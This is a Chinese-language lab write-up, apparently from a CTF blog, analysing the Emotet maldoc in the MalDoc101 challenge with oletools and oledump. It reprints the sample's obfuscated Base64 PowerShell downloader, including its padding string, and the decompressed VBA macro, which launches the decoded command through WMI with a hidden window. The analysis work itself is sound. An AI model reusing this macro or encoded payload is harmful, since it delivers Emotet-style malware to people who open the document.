A2342772g3&\*gs7712ffvs626fqawB3AH2342772g3&\*gs7712ffvs626fqYAaQBz2342772g3&\*gs7712ffvs626fqAGYAbg2342772g3&\*gs7712ffvs626fqB6AF8A2342772g3&\*gs7712ffvs626fqZQBlAG2342772g3&\*gs7712ffvs626fqoAdgBm2342772g3&\*gs7712ffvs626fqAF8AaA2342772g3&\*gs7712ffvs626fqA2AHYA2342772g3&\*gs7712ffvs626fqMgBpAH2342772g3&\*gs7712ffvs626fqgALwAq2342772g3&\*gs7712ffvs626fqAGgAdA2342772g3&\*gs7712ffvs626fqB0AHAA2342772g3&\*gs7712ffvs626fqOgAvAC2342772g3&\*gs7712ffvs626fq8AaABv2342772g3&\*gs7712ffvs626fqAGwAZg2342772g3&\*gs7712ffvs626fqB2AGUA2342772g3&\*gs7712ffvs626fqLgBzAG2342772g3&\*gs7712ffvs626fqUALwBp2342772g3&\*gs7712ffvs626fqAG0AYQ2342772g3&\*gs7712ffvs626fqBnAGUA2342772g3&\*gs7712ffvs626fqcwAvAD2342772g3&\*gs7712ffvs626fqEAYwBr2342772g3&\*gs7712ffvs626fqAHcANQ2342772g3&\*gs7712ffvs626fqBtAGoA2342772g3&\*gs7712ffvs626fqNAA5AH2342772g3&\*gs7712ffvs626fqcAXwAy2342772g3&\*gs7712ffvs626fqAGsAMQ2342772g3&\*gs7712ffvs626fqAxAHAA2342772g3&\*gs7712ffvs626fqeABfAG2342772g3&\*gs7712ffvs626fqQALwAq2342772g3&\*gs7712ffvs626fqAGgAdA2342772g3&\*gs7712ffvs626fqB0AHAA2342772g3&\*gs7712ffvs626fqOgAvAC2342772g3&\*gs7712ffvs626fq8AdwB32342772g3&\*gs7712ffvs626fqAHcALg2342772g3&\*gs7712ffvs626fqBjAGYA2342772g3&\*gs7712ffvs626fqbQAuAG2342772g3&\*gs7712ffvs626fq4AbAAv2342772g3&\*gs7712ffvs626fqAF8AYg2342772g3&\*gs7712ffvs626fqBhAGMA2342772g3&\*gs7712ffvs626fqawB1AH2342772g3&\*gs7712ffvs626fqAALwB52342772g3&\*gs7712ffvs626fqAGYAaA2342772g3&\*gs7712ffvs626fqByAG0A2342772g3&\*gs7712ffvs626fqaAA2AH2342772g3&\*gs7712ffvs626fqUAMABo2342772g3&\*gs7712ffvs626fqAGUAaQ2342772g3&\*gs7712ffvs626fqBkAG4A2342772g3&\*gs7712ffvs626fqdwByAH2342772g3&\*gs7712ffvs626fqUAdwBo2342772g3&\*gs7712ffvs626fqAGEAMg2342772g3&\*gs7712ffvs626fqB0ADQA2342772g3&\*gs7712ffvs626fqbQBqAH2342772g3&\*gs7712ffvs626fqoANgBw2342772g3&\*gs7712ffvs626fqAF8AeQ2342772g3&\*gs7712ffvs626fqB4AGgA2342772g3&\*gs7712ffvs626fqeQB1AD2342772g3&\*gs7712ffvs626fqMAOQAw2342772g3&\*gs7712ffvs626fqAGkANg2342772g3&\*gs7712ffvs626fqBfAHEA2342772g3&\*gs7712ffvs626fqOQAzAG2342772g3&\*gs7712ffvs626fqgAawBo2342772g3&\*gs7712ffvs626fqADMAZA2342772g3&\*gs7712ffvs626fqBkAG0A2342772g3&\*gs7712ffvs626fqLwAnAC2342772g3&\*gs7712ffvs626fq4AIgBz2342772g3&\*gs7712ffvs626fqAGAAUA2342772g3&\*gs7712ffvs626fqBsAGkA2342772g3&\*gs7712ffvs626fqVAAiAC2342772g3&\*gs7712ffvs626fqgAWwBj2342772g3&\*gs7712ffvs626fqAGgAYQ2342772g3&\*gs7712ffvs626fqByAF0A2342772g3&\*gs7712ffvs626fqNAAyAC2342772g3&\*gs7712ffvs626fqkAOwAk2342772g3&\*gs7712ffvs626fqAHMAZQ2342772g3&\*gs7712ffvs626fqBjAGMA2342772g3&\*gs7712ffvs626fqaQBlAH2342772g3&\*gs7712ffvs626fqIAZABl2342772g3&\*gs7712ffvs626fqAGUAdA2342772g3&\*gs7712ffvs626fqBoAD0A2342772g3&\*gs7712ffvs626fqJwBkAH2342772g3&\*gs7712ffvs626fqUAdQB62342772g3&\*gs7712ffvs626fqAHkAZQ2342772g3&\*gs7712ffvs626fqBhAHcA2342772g3&\*gs7712ffvs626fqcAB1AG2342772g3&\*gs7712ffvs626fqEAcQB12342772g3&\*gs7712ffvs626fqACcAOw2342772g3&\*gs7712ffvs626fqBmAG8A2342772g3&\*gs7712ffvs626fqcgBlAG2342772g3&\*gs7712ffvs626fqEAYwBo2342772g3&\*gs7712ffvs626fqACgAJA2342772g3&\*gs7712ffvs626fqBnAGUA2342772g3&\*gs7712ffvs626fqZQByAH2342772g3&\*gs7712ffvs626fqMAaQBl2342772g3&\*gs7712ffvs626fqAGIAIA2342772g3&\*gs7712ffvs626fqBpAG4A2342772g3&\*gs7712ffvs626fqIAAkAG2342772g3&\*gs7712ffvs626fqoAYQBj2342772g3&\*gs7712ffvs626fqAGwAZQ2342772g3&\*gs7712ffvs626fqBlAHcA2342772g3&\*gs7712ffvs626fqeQBpAH2342772g3&\*gs7712ffvs626fqEAdQAp2342772g3&\*gs7712ffvs626fqAHsAdA2342772g3&\*gs7712ffvs626fqByAHkA2342772g3&\*gs7712ffvs626fqewAkAH2342772g3&\*gs7712ffvs626fqIAZQB12342772g3&\*gs7712ffvs626fqAHMAdA2342772g3&\*gs7712ffvs626fqBoAG8A2342772g3&\*gs7712ffvs626fqYQBzAC2342772g3&\*gs7712ffvs626fq4AIgBk2342772g3&\*gs7712ffvs626fqAE8AVw2342772g3&\*gs7712ffvs626fqBOAGAA2342772g3&\*gs7712ffvs626fqbABvAE2342772g3&\*gs7712ffvs626fqEAYABk2342772g3&\*gs7712ffvs626fqAGYAaQ2342772g3&\*gs7712ffvs626fqBgAEwA2342772g3&\*gs7712ffvs626fqZQAiAC2342772g3&\*gs7712ffvs626fqgAJABn2342772g3&\*gs7712ffvs626fqAGUAZQ2342772g3&\*gs7712ffvs626fqByAHMA2342772g3&\*gs7712ffvs626fqaQBlAG2342772g3&\*gs7712ffvs626fqIALAAg2342772g3&\*gs7712ffvs626fqACQAdA2342772g3&\*gs7712ffvs626fqBvAGUA2342772g3&\*gs7712ffvs626fqaABmAG2342772g3&\*gs7712ffvs626fqUAdABo2342772g3&\*gs7712ffvs626fqAHgAbw2342772g3&\*gs7712ffvs626fqBoAGIA2342772g3&\*gs7712ffvs626fqYQBlAH2342772g3&\*gs7712ffvs626fqkAKQA72342772g3&\*gs7712ffvs626fqACQAYg2342772g3&\*gs7712ffvs626fqB1AGgA2342772g3&\*gs7712ffvs626fqeABlAH2342772g3&\*gs7712ffvs626fqUAaAA92342772g3&\*gs7712ffvs626fqACcAZA2342772g3&\*gs7712ffvs626fqBvAGUA2342772g3&\*gs7712ffvs626fqeQBkAG2342772g3&\*gs7712ffvs626fqUAaQBk2342772g3&\*gs7712ffvs626fqAHEAdQ2342772g3&\*gs7712ffvs626fqBhAGkA2342772g3&\*gs7712ffvs626fqagBsAG2342772g3&\*gs7712ffvs626fqUAdQBj2342772g3&\*gs7712ffvs626fqACcAOw2342772g3&\*gs7712ffvs626fqBJAGYA2342772g3&\*gs7712ffvs626fqIAAoAC2342772g3&\*gs7712ffvs626fqgALgAo2342772g3&\*gs7712ffvs626fqACcARw2342772g3&\*gs7712ffvs626fqBlAHQA2342772g3&\*gs7712ffvs626fqLQAnAC2342772g3&\*gs7712ffvs626fqsAJwBJ2342772g3&\*gs7712ffvs626fqAHQAZQ2342772g3&\*gs7712ffvs626fqAnACsA2342772g3&\*gs7712ffvs626fqJwBtAC2342772g3&\*gs7712ffvs626fqcAKQAg2342772g3&\*gs7712ffvs626fqACQAdA2342772g3&\*gs7712ffvs626fqBvAGUA2342772g3&\*gs7712ffvs626fqaABmAG2342772g3&\*gs7712ffvs626fqUAdABo2342772g3&\*gs7712ffvs626fqAHgAbw2342772g3&\*gs7712ffvs626fqBoAGIA2342772g3&\*gs7712ffvs626fqYQBlAH2342772g3&\*gs7712ffvs626fqkAKQAu2342772g3&\*gs7712ffvs626fqACIAbA2342772g3&\*gs7712ffvs626fqBgAGUA2342772g3&\*gs7712ffvs626fqTgBHAF2342772g3&\*gs7712ffvs626fqQASAAi2342772g3&\*gs7712ffvs626fqACAALQ2342772g3&\*gs7712ffvs626fqBnAGUA2342772g3&\*gs7712ffvs626fqIAAyAD2342772g3&\*gs7712ffvs626fqQANwA12342772g3&\*gs7712ffvs626fqADEAKQ2342772g3&\*gs7712ffvs626fqAgAHsA2342772g3&\*gs7712ffvs626fqKABbAH2342772g3&\*gs7712ffvs626fqcAbQBp2342772g3&\*gs7712ffvs626fqAGMAbA2342772g3&\*gs7712ffvs626fqBhAHMA2342772g3&\*gs7712ffvs626fqcwBdAC2342772g3&\*gs7712ffvs626fqcAdwBp2342772g3&\*gs7712ffvs626fqAG4AMw2342772g3&\*gs7712ffvs626fqAyAF8A2342772g3&\*gs7712ffvs626fqUAByAG2342772g3&\*gs7712ffvs626fq8AYwBl2342772g3&\*gs7712ffvs626fqAHMAcw2342772g3&\*gs7712ffvs626fqAnACkA2342772g3&\*gs7712ffvs626fqLgAiAE2342772g3&\*gs7712ffvs626fqMAYABS2342772g3&\*gs7712ffvs626fqAGUAYQ2342772g3&\*gs7712ffvs626fqBUAGUA2342772g3&\*gs7712ffvs626fqIgAoAC2342772g3&\*gs7712ffvs626fqQAdABv2342772g3&\*gs7712ffvs626fqAGUAaA2342772g3&\*gs7712ffvs626fqBmAGUA2342772g3&\*gs7712ffvs626fqdABoAH2342772g3&\*gs7712ffvs626fqgAbwBo2342772g3&\*gs7712ffvs626fqAGIAYQ2342772g3&\*gs7712ffvs626fqBlAHkA2342772g3&\*gs7712ffvs626fqKQA7AC2342772g3&\*gs7712ffvs626fqQAcQB12342772g3&\*gs7712ffvs626fqAG8Abw2342772g3&\*gs7712ffvs626fqBkAHQA2342772g3&\*gs7712ffvs626fqZQBlAG2342772g3&\*gs7712ffvs626fqgAPQAn2342772g3&\*gs7712ffvs626fqAGoAaQ2342772g3&\*gs7712ffvs626fqBhAGYA2342772g3&\*gs7712ffvs626fqcgB1AH2342772g3&\*gs7712ffvs626fqUAegBs2342772g3&\*gs7712ffvs626fqAGEAbw2342772g3&\*gs7712ffvs626fqBsAHQA2342772g3&\*gs7712ffvs626fqaABvAG2342772g3&\*gs7712ffvs626fqkAYwAn2342772g3&\*gs7712ffvs626fqADsAYg2342772g3&\*gs7712ffvs626fqByAGUA2342772g3&\*gs7712ffvs626fqYQBrAD2342772g3&\*gs7712ffvs626fqsAJABj2342772g3&\*gs7712ffvs626fqAGgAaQ2342772g3&\*gs7712ffvs626fqBnAGMA2342772g3&\*gs7712ffvs626fqaABpAG2342772g3&\*gs7712ffvs626fqUAbgB02342772g3&\*gs7712ffvs626fqAGUAaQ2342772g3&\*gs7712ffvs626fqBxAHUA2342772g3&\*gs7712ffvs626fqPQAnAH2342772g3&\*gs7712ffvs626fqkAbwBv2342772g3&\*gs7712ffvs626fqAHcAdg2342772g3&\*gs7712ffvs626fqBlAGkA2342772g3&\*gs7712ffvs626fqaABuAG2342772g3&\*gs7712ffvs626fqkAZQBq2342772g3&\*gs7712ffvs626fqACcAfQ2342772g3&\*gs7712ffvs626fqB9AGMA2342772g3&\*gs7712ffvs626fqYQB0AG2342772g3&\*gs7712ffvs626fqMAaAB72342772g3&\*gs7712ffvs626fqAH0AfQ2342772g3&\*gs7712ffvs626fqAkAHQA2342772g3&\*gs7712ffvs626fqbwBpAH2342772g3&\*gs7712ffvs626fqoAbAB12342772g3&\*gs7712ffvs626fqAHUAbA2342772g3&\*gs7712ffvs626fqBmAGkA2342772g3&\*gs7712ffvs626fqZQByAD2342772g3&\*gs7712ffvs626fq0AJwBm2342772g3&\*gs7712ffvs626fqAG8AcQ2342772g3&\*gs7712ffvs626fqB1AGwA2342772g3&\*gs7712ffvs626fqZQB2AG2342772g3&\*gs7712ffvs626fqMAYQBv2342772g3&\*gs7712ffvs626fqAGoAJw2342772g3&\*gs7712ffvs626fqA= \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - �Tab3 \------------------------------------------------------------------------------- VBA FORM STRING IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09/o' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - �Tab4 \------------------------------------------------------------------------------- VBA FORM Variable "b'meetcuac'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b'joopxof' \------------------------------------------------------------------------------- VBA FORM Variable "b'dechxoz'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b'caorfauxleir' \------------------------------------------------------------------------------- VBA FORM Variable "b'joefwoefcheaw'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b'P' \------------------------------------------------------------------------------- VBA FORM Variable "b'teehkaifxoodthiv'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b'foewdaibzian' \------------------------------------------------------------------------------- VBA FORM Variable "b'paerwagyouqumeid'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - None \------------------------------------------------------------------------------- VBA FORM Variable "b'taowseuvjeip'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - None \------------------------------------------------------------------------------- VBA FORM Variable "b'kaizseah'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - None \------------------------------------------------------------------------------- VBA FORM Variable "b'gegheyhes'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b'yoewcheuypouc' \------------------------------------------------------------------------------- VBA FORM Variable "b'gaoddaicsauktheb'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - None \------------------------------------------------------------------------------- VBA FORM Variable "b'vuazleelxeep'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - b'duuhfeupniwboh' \------------------------------------------------------------------------------- VBA FORM Variable "None" IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - None \------------------------------------------------------------------------------- VBA FORM Variable "b'Page1'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - None \------------------------------------------------------------------------------- VBA FORM Variable "b'Page2'" IN 'sample.bin' - OLE stream: 'Macros/roubhaol/i09' \- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - None +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |Document\_open |Runs when the Word or Publisher document is | \| | |opened | |Suspicious|Create |May execute file or a system command through | \| | |WMI | |Suspicious|showwindow |May hide the application | |Suspicious|CreateObject |May create an OLE object | |Suspicious|Chr |May attempt to obfuscate specific strings | \| | |(use option --deobf to deobfuscate) | |Suspicious|Hex Strings |Hex-encoded strings were detected, may be | \| | |used to obfuscate strings (option --decode to| \| | |see all) | |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be | \| | |used to obfuscate strings (option --decode to| \| | |see all) | |Hex String|2#Bw |32234277 | |Hex String|J#Bw |4A234277 | |Hex String|#Bw |0A234277 | |Suspicious|VBA Stomping |VBA Stomping was detected: the VBA source | \| | |code and P-code are different, this may have | \| | |been used to hide malicious code | +----------+--------------------+---------------------------------------------+ VBA Stomping detection is experimental: please report any false positive/negative at [https://github.com/decalage2/oletools/issues](https://github.com/decalage2/oletools/issues)
我们要主要到这里:
这里有一个表格样式的东西,该**Document_open**事件(也就是Q2的回答)是一个 VBA 触发器,会在文档打开时自动执行。攻击者通常会利用此功能,在受害者打开文档后立即启动恶意代码。通过利用此事件,恶意宏无需用户执行任何手动操作(例如单击按钮),使其成为一种有效的初始攻击途径。(这个可以,我喜欢,可以试试搞进去我的题目去)
此外,分析结果还突出显示了其他可疑活动,例如使用命令创建对象、操纵字符串或解码 Base64 编码的数据。这些都是 VBA 宏中恶意行为的常见特征。
对于第三问,要进行哈希值的查看,我这边直接就:
Get-FileHash .\sample.bin -Algorithm SHA256
然后就:
然后使用该哈希值查询威胁情报平台(例如VirusTotal),以收集有关文件信誉和潜在威胁的信息。
(还蛮好用)
可以通过这个平台查完哈希之后知道这不是什么好东西反正:
这里有一个popular threat label后面展示了Q3想问的那种恶意软件家族,这个家族就是emotet。
Q4这里问哪个是负责储存base64的流,这里我们还是要找上面那个我们那个很长很长的分析结果出来:
这个东西是不是很大啊,203G,内存很大这表明它可能包含混淆或编码的内容。那我们就针对这个进行细找:
这里的特殊数据流是很长一串的类base64编码数据。这种编码格式是混淆的有力标志,攻击者经常使用混淆来隐藏其有效载荷或命令。Base64 字符串通常隐藏恶意脚本、URL 或其他敏感指令,必须对其进行解码才能了解恶意软件的意图。
识别出该数据流后,下一步是确定与该数据流关联的数据流编号。oledump该数据流的编号为34:
Q5这里问我们文件中的一个窗体名称
为了确定文档是否包含用户窗体并识别其名称,我们首先需要了解用户窗体的概念及其作用。在 Microsoft Office 文档中,用户窗体user-form是嵌入在 VBA 宏中的图形界面。它提供了一种与用户交互、收集输入或执行特定功能的方式。恶意攻击者经常利用用户窗体来执行隐藏代码、欺骗用户或传播恶意载荷。
这里的话我们还是用上这个oledump.py,前面也用过,直接回翻就好,这里重点找:
Macros/VBA/
下面的对象。
1 2 3 4 5 6 7 8 9 8: 12997 'Macros/VBA/_VBA_PROJECT' 9: 2112 'Macros/VBA/__SRP_0' 10: 190 'Macros/VBA/__SRP_1' 11: 532 'Macros/VBA/__SRP_2' 12: 156 'Macros/VBA/__SRP_3' 13: M 1367 'Macros/VBA/diakzouxchouz' 14: 908 'Macros/VBA/dir' 15: M 5705 'Macros/VBA/govwiahtoozfaid' 16: m 1187 'Macros/VBA/roubhaol'
前面我们也提取过了一次txt文件,我们直接在那个txt找就行:
这个.frm文件呢,通常以.frm文件的形式存储在 VBA 项目中。这些.frm文件定义了用户窗体的布局和功能,包括与其关联的任何属性或事件处理程序。
所以就是肉包了(roubhaol)
Q6的话就是问我们: 此文档包含一个经过混淆处理的 base64 编码字符串;用于填充(或混淆)此字符串的值是什么?
相信胆大心细的同志们在当时把这个bin文件分析完之后看见那个好长的base64吧,但是,我们细看的话,其实重复着些什么:
这表明了这里存在混淆的操作,中间反复出现的是:2342772g3&*gs7712ffvs626fq,但是你细看的话你能看见一个玩意,就是这里每次重复的时候中间总是穿插一些个什么。。。我知道这个很难理解,那我直接把这些替换成逗号应该都能看得懂了:
1 �p,o,w,e,r,s,h,eL,L, ,-,e, JABsAG,kAZQBj,AGgAcg,BvAHUA,aAB3AH,UAdwA9,ACcAdg,B1AGEA,YwBkAG,8AdQB2,AGMAaQ,BvAHgA,aABhAG,8AbAAn,ADsAWw,BOAGUA,dAAuAF,MAZQBy,AHYAaQ,BjAGUA,UABvAG,kAbgB0,AE0AYQ,BuAGEA,ZwBlAH,IAXQA6,ADoAIg,BTAEUA,YABjAH,UAUgBp,AFQAeQ,BgAFAA,UgBPAG,AAVABv,AEMAYA,BvAGwA,IgAgAD,0AIAAn,AHQAbA,BzADEA,MgAsAC,AAdABs,AHMAMQ,AxACwA,IAB0AG,wAcwAn,ADsAJA,BkAGUA,aQBjAG,gAYgBl,AHUAZA,ByAGUA,aQByAC,AAPQAg,ACcAMw,AzADcA,JwA7AC,QAcQB1,AG8AYQ,BkAGcA,bwBpAG,oAdgBl,AHUAbQ,A9ACcA,ZAB1AH,UAdgBt,AG8AZQ,B6AGgA,YQBpAH,QAZwBv,AGgAJw,A7ACQA,dABvAG,UAaABm,AGUAdA,BoAHgA,bwBoAG,IAYQBl,AHkAPQ,AkAGUA,bgB2AD,oAdQBz,AGUAcg,BwAHIA,bwBmAG,kAbABl,ACsAJw,BcACcA,KwAkAG,QAZQBp,AGMAaA,BiAGUA,dQBkAH,IAZQBp,AHIAKw,AnAC4A,ZQB4AG,UAJwA7,ACQAcw,BpAGUA,bgB0AG,UAZQBk,AD0AJw,BxAHUA,YQBpAG,4AcQB1,AGEAYw,BoAGwA,bwBhAH,oAJwA7,ACQAcg,BlAHUA,cwB0AG,gAbwBh,AHMAPQ,AuACgA,JwBuAC,cAKwAn,AGUAdw,AtAG8A,YgAnAC,sAJwBq,AGUAYw,B0ACcA,KQAgAG,4ARQB0,AC4Adw,BlAEIA,YwBsAE,kAZQBu,AFQAOw,AkAGoA,YQBjAG,wAZQBl,AHcAeQ,BpAHEA,dQA9AC,cAaAB0,AHQAcA,BzADoA,LwAvAG,gAYQBv,AHEAdQ,BuAGsA,bwBuAG,cALgBj,AG8AbQ,AvAGIA,bgAvAH,MAOQB3,ADQAdA,BnAGMA,agBsAF,8AZgA2,ADYANg,A5AHUA,ZwB1AF,8AdwA0,AGIAag,AvACoA,aAB0AH,QAcABz,ADoALw,AvAHcA,dwB3AC,4AdABl,AGMAaA,B0AHIA,YQB2AG,UAbAAu,AGUAdg,BlAG4A,dABzAC,8AaQBu,AGYAbw,ByAG0A,YQB0AG,kAbwBu,AGwALw,A4AGwA,cwBqAG,gAcgBs,ADYAbg,BuAGsA,dwBnAH,kAegBz,AHUAZA,B6AGEA,bQBfAG,gAMwB3,AG4AZw,BfAGEA,NgB2AD,UALwAq,AGgAdA,B0AHAA,OgAvAC,8AZABp,AGcAaQ,B3AGUA,YgBtAG,EAcgBr,AGUAdA,BpAG4A,ZwAuAG,MAbwBt,AC8Adw,BwAC0A,YQBkAG,0AaQBu,AC8ANw,AyAHQA,MABqAG,oAaABt,AHYANw,B0AGEA,awB3AH,YAaQBz,AGYAbg,B6AF8A,ZQBlAG,oAdgBm,AF8AaA,A2AHYA,MgBpAH,gALwAq,AGgAdA,B0AHAA,OgAvAC,8AaABv,AGwAZg,B2AGUA,LgBzAG,UALwBp,AG0AYQ,BnAGUA,cwAvAD,EAYwBr,AHcANQ,BtAGoA,NAA5AH,cAXwAy,AGsAMQ,AxAHAA,eABfAG,QALwAq,AGgAdA,B0AHAA,OgAvAC,8AdwB3,AHcALg,BjAGYA,bQAuAG,4AbAAv,AF8AYg,BhAGMA,awB1AH,AALwB5,AGYAaA,ByAG0A,aAA2AH,UAMABo,AGUAaQ,BkAG4A,dwByAH,UAdwBo,AGEAMg,B0ADQA,bQBqAH,oANgBw,AF8AeQ,B4AGgA,eQB1AD,MAOQAw,AGkANg,BfAHEA,OQAzAG,gAawBo,ADMAZA,BkAG0A,LwAnAC,4AIgBz,AGAAUA,BsAGkA,VAAiAC,gAWwBj,AGgAYQ,ByAF0A,NAAyAC,kAOwAk,AHMAZQ,BjAGMA,aQBlAH,IAZABl,AGUAdA,BoAD0A,JwBkAH,UAdQB6,AHkAZQ,BhAHcA,cAB1AG,EAcQB1,ACcAOw,BmAG8A,cgBlAG,EAYwBo,ACgAJA,BnAGUA,ZQByAH,MAaQBl,AGIAIA,BpAG4A,IAAkAG,oAYQBj,AGwAZQ,BlAHcA,eQBpAH,EAdQAp,AHsAdA,ByAHkA,ewAkAH,IAZQB1,AHMAdA,BoAG8A,YQBzAC,4AIgBk,AE8AVw,BOAGAA,bABvAE,EAYABk,AGYAaQ,BgAEwA,ZQAiAC,gAJABn,AGUAZQ,ByAHMA,aQBlAG,IALAAg,ACQAdA,BvAGUA,aABmAG,UAdABo,AHgAbw,BoAGIA,YQBlAH,kAKQA7,ACQAYg,B1AGgA,eABlAH,UAaAA9,ACcAZA,BvAGUA,eQBkAG,UAaQBk,AHEAdQ,BhAGkA,agBsAG,UAdQBj,ACcAOw,BJAGYA,IAAoAC,gALgAo,ACcARw,BlAHQA,LQAnAC,sAJwBJ,AHQAZQ,AnACsA,JwBtAC,cAKQAg,ACQAdA,BvAGUA,aABmAG,UAdABo,AHgAbw,BoAGIA,YQBlAH,kAKQAu,ACIAbA,BgAGUA,TgBHAF,QASAAi,ACAALQ,BnAGUA,IAAyAD,QANwA1,ADEAKQ,AgAHsA,KABbAH,cAbQBp,AGMAbA,BhAHMA,cwBdAC,cAdwBp,AG4AMw,AyAF8A,UAByAG,8AYwBl,AHMAcw,AnACkA,LgAiAE,MAYABS,AGUAYQ,BUAGUA,IgAoAC,QAdABv,AGUAaA,BmAGUA,dABoAH,gAbwBo,AGIAYQ,BlAHkA,KQA7AC,QAcQB1,AG8Abw,BkAHQA,ZQBlAG,gAPQAn,AGoAaQ,BhAGYA,cgB1AH,UAegBs,AGEAbw,BsAHQA,aABvAG,kAYwAn,ADsAYg,ByAGUA,YQBrAD,sAJABj,AGgAaQ,BnAGMA,aABpAG,UAbgB0,AGUAaQ,BxAHUA,PQAnAH,kAbwBv,AHcAdg,BlAGkA,aABuAG,kAZQBq,ACcAfQ,B9AGMA,YQB0AG,MAaAB7,AH0AfQ,AkAHQA,bwBpAH,oAbAB1,AHUAbA,BmAGkA,ZQByAD,0AJwBm,AG8AcQ,B1AGwA,ZQB2AG,MAYQBv,AGoAJw,A=
如此美的Base64(又学到一个混淆小知识~)
所以接下来我尝试提取其中损坏或异常的 VBA 宏代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 PS D:\programCTF\malware\51-maldoc101\temp_extract_dir\MalDoc101> python3 oledump.py -s 15 --vbadecompresscorrupt sample.bin Attribute VB_Name = "govwiahtoozfaid" Function boaxvoebxiotqueb() gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3)) Dim c7�ATOQe2�j As Integer c7�ATOQe2�j = 6 Do While c7�ATOQe2�j < 6 + 2 c7�ATOQe2�j = c7�ATOQe2�j + 5: DoEvents Loop haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq" Dim t0�7�VhC As String t0�7�VhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf") deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil) Dim aboKTWBmOV As Variant Set tiajriokchaoy = CreateObject(deulsaocthuul) Dim Li2�J8�fUTJJ As Boolean deaknaugthein = roubhaol.kaizseah.ControlTipText Dim Wmuaj As String Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6�") giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein Dim lgiLh7� As Object queegthaen = giakfeiw + roubhaol.joefwoefcheaw Dim FZV4�KPQ As Integer FZV4�KPQ = 4 Do While FZV4�KPQ < 4 + 5 FZV4�KPQ = FZV4�KPQ + 3: DoEvents Loop Set deavjoajsear = luumlaud(queegthaen) Dim kRpYwyW As String kRpYwyW = Replace$("f4�L5�JqZNvlk", "f4�L5�J", "TFRkfTygd") xve = Array _ ("1234444123", tiajriokchaoy. _ Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723") Dim C0�jVh As Integer C0�jVh = 9 Do While C0�jVh < 9 + 1 C0�jVh = C0�jVh + 1: DoEvents Loop End Function Function juuvzouchmiopxeox(yiajthoavheiw) geutyoeytiestheug = yiajthoavheiw Dim QSuRcu As Currency feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq") Dim J1�8�XwEwAd As String J1�8�XwEwAd = Replace$("UBZIWrn7�JAPVmt", "UBZI", "hsvq") jaquhoiqu = csqw + Join(feaxgeip, eihnx) Dim gBv As Object juuvzouchmiopxeox = jaquhoiqu Dim lqsqsHrCH As Boolean End Function Function geulgelquuuj() sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText Dim ISXQDR As Integer ISXQDR = 2 Do While ISXQDR < 2 + 7 ISXQDR = ISXQDR + 9: DoEvents Loop geulgelquuuj = juuvzouchmiopxeox(sjiqw) Dim kbqvO4�7�r As Byte End Function Function luumlaud(zeolkaepxoag) Set luumlaud = CreateObject(zeolkaepxoag) Dim vPu As String vPu = Replace$("BenqV1�igVwifwdQq", "BenqV1�i", "on5�") luumlaud _ . _ showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij) Dim osWIUnikOk As String 